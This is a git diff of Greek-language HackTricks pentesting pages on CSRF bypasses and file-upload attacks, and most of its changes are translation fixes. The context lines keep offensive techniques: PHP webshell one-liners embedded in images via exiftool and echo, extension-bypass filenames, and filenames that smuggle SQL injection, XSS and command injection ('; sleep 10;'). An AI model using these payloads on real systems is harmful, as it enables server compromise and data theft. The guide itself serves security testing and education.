@ -71,7 +71,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
### Lack of token
|
||||
|
||||
Οι εφαρμογές μπορεί να εφαρμόσουν έναν μηχανισμό για να **επικυρώνουν tokens** όταν είναι παρόντα. Ωστόσο, μια ευπάθεια προκύπτει αν η επικύρωση παραλείπεται εντελώς όταν το token είναι απουσία. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό αφαιρώντας την παράμετρο που φέρει το token, όχι μόνο την τιμή του. Αυτό τους επιτρέπει να παρακάμψουν τη διαδικασία επικύρωσης και να διεξάγουν μια επίθεση Cross-Site Request Forgery (CSRF) αποτελεσματικά.
|
||||
Οι εφαρμογές μπορεί να εφαρμόσουν έναν μηχανισμό για να **επικυρώνουν tokens** όταν είναι παρόντα. Ωστόσο, μια ευπάθεια προκύπτει αν η επικύρωση παραλειφθεί εντελώς όταν το token είναι απουσία. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό αφαιρώντας την παράμετρο που φέρει το token, όχι μόνο την τιμή του. Αυτό τους επιτρέπει να παρακάμψουν τη διαδικασία επικύρωσης και να διεξάγουν μια επίθεση Cross-Site Request Forgery (CSRF) αποτελεσματικά.
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
|
@ -87,7 +87,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
### Method bypass
|
||||
|
||||
Αν το αίτημα χρησιμοποιεί μια "**περίεργη**" **μέθοδο**, ελέγξτε αν η **λειτουργία** **override** της μεθόδου λειτουργεί. Για παράδειγμα, αν χρησιμοποιεί **μέθοδο PUT** μπορείτε να δοκιμάσετε να **χρησιμοποιήσετε μέθοδο POST** και **να στείλετε**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Αν το αίτημα χρησιμοποιεί μια "**περίεργη**" **μέθοδο**, ελέγξτε αν η **λειτουργία** **παρακαμής μεθόδου** λειτουργεί. Για παράδειγμα, αν χρησιμοποιεί **μέθοδο PUT** μπορείτε να δοκιμάσετε να **χρησιμοποιήσετε μια μέθοδο POST** και **να στείλετε**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Αυτό μπορεί επίσης να λειτουργήσει στέλνοντας την **παράμετρο \_method μέσα σε ένα POST αίτημα** ή χρησιμοποιώντας τις **κεφαλίδες**:
|
||||
|
||||
|
@ -99,7 +99,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
Αν το αίτημα προσθέτει μια **προσαρμοσμένη κεφαλίδα** με ένα **token** στο αίτημα ως **μέθοδο προστασίας CSRF**, τότε:
|
||||
|
||||
* Δοκιμάστε το αίτημα χωρίς το **Προσαρμοσμένο Token και επίσης την κεφαλίδα.**
|
||||
* Δοκιμάστε το αίτημα χωρίς το **Προσαρμοσμένο Token και επίσης κεφαλίδα.**
|
||||
* Δοκιμάστε το αίτημα με ακριβώς **ίδιο μήκος αλλά διαφορετικό token**.
|
||||
|
||||
### CSRF token is verified by a cookie
|
||||
|
@ -125,12 +125,12 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Σημειώστε ότι αν το **csrf token σχετίζεται με το cookie της συνεδρίας, αυτή η επίθεση δεν θα λειτουργήσει** γιατί θα χρειαστεί να ορίσετε τη συνεδρία του θύματος, και επομένως θα επιτίθεστε στον εαυτό σας.
|
||||
Σημειώστε ότι αν το **csrf token σχετίζεται με το cookie συνεδρίας, αυτή η επίθεση δεν θα λειτουργήσει** γιατί θα χρειαστεί να ορίσετε τη συνεδρία του θύματος, και επομένως θα επιτίθεστε στον εαυτό σας.
|
||||
{% endhint %}
|
||||
|
||||
### Αλλαγή Content-Type
|
||||
|
||||
Σύμφωνα με [**αυτό**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), προκειμένου να **αποφευχθούν οι προετοιμασμένες** αιτήσεις χρησιμοποιώντας τη μέθοδο **POST**, οι επιτρεπόμενες τιμές Content-Type είναι:
|
||||
Σύμφωνα με [**αυτό**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), προκειμένου να **αποφευχθούν οι προετοιμαστικές** αιτήσεις χρησιμοποιώντας τη μέθοδο **POST**, οι επιτρεπόμενες τιμές Content-Type είναι:
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
|
@ -153,17 +153,17 @@ form.submit();
|
|||
```
|
||||
### Bypassing Preflight Requests for JSON Data
|
||||
|
||||
Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST request, η χρήση του `Content-Type: application/json` σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Ομοίως, η χρήση του `XMLHttpRequest` για την αποστολή αυτού του τύπου περιεχομένου ξεκινά μια προετοιμασία αιτήματος. Παρ' όλα αυτά, υπάρχουν στρατηγικές για να παρακαμφθεί αυτή η περιοριστική κατάσταση και να ελεγχθεί αν ο διακομιστής επεξεργάζεται τα δεδομένα JSON ανεξαρτήτως του Content-Type:
|
||||
Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST αιτήματος, η χρήση του `Content-Type: application/json` σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Ομοίως, η χρήση του `XMLHttpRequest` για την αποστολή αυτού του τύπου περιεχομένου ξεκινά ένα προετοιμαστικό αίτημα. Παρ' όλα αυτά, υπάρχουν στρατηγικές για να παρακαμφθεί αυτή η περιοριστική κατάσταση και να ελεγχθεί αν ο διακομιστής επεξεργάζεται τα δεδομένα JSON ανεξαρτήτως του Content-Type:
|
||||
|
||||
1. **Use Alternative Content Types**: Χρησιμοποιήστε `Content-Type: text/plain` ή `Content-Type: application/x-www-form-urlencoded` ορίζοντας `enctype="text/plain"` στη φόρμα. Αυτή η προσέγγιση δοκιμάζει αν το backend χρησιμοποιεί τα δεδομένα ανεξαρτήτως του Content-Type.
|
||||
2. **Modify Content Type**: Για να αποφύγετε ένα προετοιμασία αίτημα ενώ διασφαλίζετε ότι ο διακομιστής αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με `Content-Type: text/plain; application/json`. Αυτό δεν ενεργοποιεί ένα προετοιμασία αίτημα αλλά μπορεί να επεξεργαστεί σωστά από τον διακομιστή αν είναι ρυθμισμένος να αποδέχεται `application/json`.
|
||||
2. **Modify Content Type**: Για να αποφύγετε ένα προετοιμαστικό αίτημα ενώ διασφαλίζετε ότι ο διακομιστής αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με `Content-Type: text/plain; application/json`. Αυτό δεν ενεργοποιεί ένα προετοιμαστικό αίτημα αλλά μπορεί να επεξεργαστεί σωστά από τον διακομιστή αν είναι ρυθμισμένος να αποδέχεται `application/json`.
|
||||
3. **SWF Flash File Utilization**: Μια λιγότερο κοινή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός αρχείου SWF flash για να παρακαμφθούν τέτοιες περιορισμοί. Για μια σε βάθος κατανόηση αυτής της τεχνικής, ανατρέξτε σε [αυτή την ανάρτηση](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Referrer / Origin check bypass
|
||||
|
||||
**Avoid Referrer header**
|
||||
|
||||
Οι εφαρμογές μπορεί να επικυρώνουν την κεφαλίδα 'Referer' μόνο όταν είναι παρούσα. Για να αποτρέψετε έναν περιηγητή από το να στείλει αυτή την κεφαλίδα, μπορεί να χρησιμοποιηθεί η παρακάτω HTML meta tag:
|
||||
Οι εφαρμογές μπορεί να επικυρώνουν την κεφαλίδα 'Referer' μόνο όταν είναι παρούσα. Για να αποτρέψετε έναν περιηγητή από το να στείλει αυτή την κεφαλίδα, μπορεί να χρησιμοποιηθεί η παρακάτω HTML μετα-ετικέτα:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
|
@ -175,7 +175,7 @@ form.submit();
|
|||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Για να ορίσετε το όνομα τομέα του διακομιστή στη διεύθυνση URL που θα στείλει ο Referrer μέσα στις παραμέτρους μπορείτε να κάνετε:
|
||||
Για να ορίσετε το όνομα τομέα του διακομιστή στη διεύθυνση URL που ο παραπέμπων πρόκειται να στείλει μέσα στις παραμέτρους, μπορείτε να κάνετε:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
|
@ -323,7 +323,7 @@ headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
|||
mode: "no-cors"
|
||||
});
|
||||
```
|
||||
### multipart/form-data POST request v2
|
||||
### multipart/form-data POST αίτημα v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
|
@ -586,29 +586,29 @@ login(USER, line.strip())
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
|
||||
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
|
||||
|
||||
**Ενημερώσεις Χάκινγκ**\
|
||||
Ασχοληθείτε με περιεχόμενο που εξερευνά τη συγκίνηση και τις προκλήσεις του hacking
|
||||
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
|
||||
|
||||
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
|
||||
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
|
||||
|
||||
**Τελευταίες Ανακοινώσεις**\
|
||||
Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας
|
||||
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
|
||||
|
||||
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
|
||||
**Συμμετάσχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Συμμετάσχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# File Upload
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
|
||||
|
||||
|
@ -36,11 +36,11 @@
|
|||
|
||||
### Παράκαμψη ελέγχων επεκτάσεων αρχείων
|
||||
|
||||
1. Αν ισχύει, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||
1. Αν ισχύει, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε επίσης να τις χρησιμοποιήσετε με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγούμενες** αναφερόμενες **επεκτάσεις**_)
|
||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγούμενες** αναφερόμενες **επικεφαλίδες**_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -62,7 +62,7 @@
|
|||
5. Προσθέστε **άλλη μια στρώση επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Δοκιμάστε να τοποθετήσετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για την εκμετάλλευση κακοδιαμορφώσεων του Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):
|
||||
6. Δοκιμάστε να τοποθετήσετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακώς ρυθμισμένος. (χρήσιμο για την εκμετάλλευση κακώς ρυθμισμένων Apache όπου οτιδήποτε με επέκταση **.php** θα εκτελεί κώδικα):
|
||||
* _ex: file.php.png_
|
||||
7. Χρησιμοποιώντας **NTFS εναλλακτική ροή δεδομένων (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (π.χ. “file.asp::$data.”)
|
||||
8. Δοκιμάστε να σπάσετε τα όρια ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
|
||||
|
@ -70,7 +70,7 @@
|
|||
```
|
||||
# Linux μέγιστο 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # μείον 4 εδώ και προσθήκη .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # μείον 4 εδώ και προσθέτοντας .png
|
||||
# Ανεβάστε το αρχείο και ελέγξτε την απόκριση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
@ -82,7 +82,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
* Παράκαμψη **Content-Type** ελέγχων ορίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **λίστα λέξεων**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Παράκαμψη **magic number** ελέγχου προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
|
||||
* Παράκαμψη **magic number** ελέγχου προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την _εντολή_ file). Ή εισάγετε το shell μέσα στα **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
|
@ -96,7 +96,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
### Άλλα κόλπα για έλεγχο
|
||||
|
||||
* Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
|
||||
* Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε την backdoor.
|
||||
* Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
|
||||
* **Πιθανή αποκάλυψη πληροφοριών**:
|
||||
1. Ανεβάστε **πολλές φορές** (και τα **υτόχρονα**) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
||||
|
@ -113,7 +113,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
Τα αρχεία `.phar` είναι όπως τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
|
||||
|
||||
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που προορίζονται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
|
||||
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
|
@ -183,20 +183,20 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
## Από τη μεταφόρτωση αρχείων σε άλλες ευπάθειες
|
||||
|
||||
* Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **διαδρομή διαδρομής**
|
||||
* Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **path traversal**
|
||||
* Ορίστε το **filename** σε `sleep(10)-- -.jpg` και μπορεί να μπορέσετε να επιτύχετε μια **SQL injection**
|
||||
* Ορίστε το **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε XSS
|
||||
* Ορίστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια εκτέλεση εντολών (περισσότερα [tricks εκτέλεσης εντολών εδώ](../command-injection.md))
|
||||
* Ορίστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια command injection (περισσότερα [tricks command injections εδώ](../command-injection.md))
|
||||
* [**XSS** σε μεταφόρτωση αρχείου εικόνας (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** αρχείο **μεταφόρτωσης** + **XSS** = [**εκμετάλλευση Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* **JS** αρχείο **upload** + **XSS** = [**Exploitation Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE σε μεταφόρτωση svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Ανοιχτή Ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Δοκιμάστε **διαφορετικά payloads svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [**Open Redirect** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Δοκιμάστε **διαφορετικά svg payloads** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** θα μπορούσατε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, θα μπορούσατε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
||||
* [**XXE και CORS** παράκαμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs θα μπορούσατε να ετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
|
||||
* Ανεβάστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιβιοτικό**
|
||||
* Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
||||
* [**XXE και CORS** bypass με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs μπορείτε να προετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες ενδείξεις.
|
||||
* Ανεβάστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό πρόγραμμα**
|
||||
* Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά την μεταφόρτωση αρχείων
|
||||
|
||||
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
@ -204,11 +204,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Αποθηκευμένο XSS / SSRF / XXE
|
||||
3. **GIF**: Αποθηκευμένο XSS / SSRF
|
||||
4. **CSV**: Εισαγωγή CSV
|
||||
4. **CSV**: CSV injection
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση
|
||||
8. **PNG / JPEG**: Επίθεση πλημμύρας pixel (DoS)
|
||||
7. **HTML / JS** : HTML injection / XSS / Open redirect
|
||||
8. **PNG / JPEG**: Pixel flood attack (DoS)
|
||||
9. **ZIP**: RCE μέσω LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
|
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### Αποσυμπίεση σε διαφορετικούς φακέλους
|
||||
|
||||
